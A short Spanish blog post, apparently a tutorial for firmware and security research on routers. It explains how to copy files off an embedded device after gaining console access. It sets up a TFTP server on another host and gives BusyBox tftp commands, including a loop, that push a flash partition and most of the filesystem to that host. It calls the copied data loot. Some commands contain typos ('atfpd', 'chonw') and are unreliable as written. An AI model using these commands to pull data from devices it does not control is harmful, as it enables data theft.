Cuando consigues acceso a un sistema embedido lo más práctico es poder sacar ficheros, o el sistema de ficheros completo fuera del router para poder analizarlo detenidamente.
No siempre hay herramientas como ssh, telnet o un puerto usb donde volcar los datos, pero casi siempre está disponible el comando tftp, un servicio de transferencia de ficheros sin autenticación.
Por lo que nuestro objetivo será conectar desde la consola (busybox) de nuestro router a un host externo que tenga un servidor tftpd y dejar ahí nuestro botín.
Tras algunas pruebas me he decantado por atftpd
sudo apt-get install atfpd
Preparamos la ruta que alberga el contenido
mkdir /srv/tftp/
chonw nobody.nogroup -R /srv/tftp
Desde mi consola tengo este cliente tftp que puede ser o no el tenga tu firmware
# tftp
BusyBox v1.15.3 () multi-call binary
Usage: tftp [OPTIONS] HOST [PORT]
Transfer a file from/to tftp server
Options:
-l FILE Local FILE
-r FILE Remote FILE
-g Get file
-p Put file
Un ejemplo para volcar un fichero de bloques mtd a mi host es este
tftp -p -l /dev/mtd6 -r mtd6 192.168.0.155
Y algo un poco más chulo para volcar casitodo el sistema de ficheros sería esto:
for file in `find /bin/ /etc/ lib/ mnt/ opt/ root/ sbin/ shares/ srv/ tmp/ usr/ var/ vmlinux.lz nocomprlist `; do tftp -p -l "$file" -r "$file"
192.168.0.155; done ;
excluyo los directorios /dev /sys /proc por que tienen ficheros en uso, ficheros de bloques, etc… por que no se pueden copiar de la manera habitual
Como nota, revisar /var/syslog para ver si la subida de ficheros no se está realizando correctamete y por qué. Por defecto el directorio es /srv/tftp el usuario nobdoy y el group nogroup. Recuerda revisar los permisos.
Deja una respuesta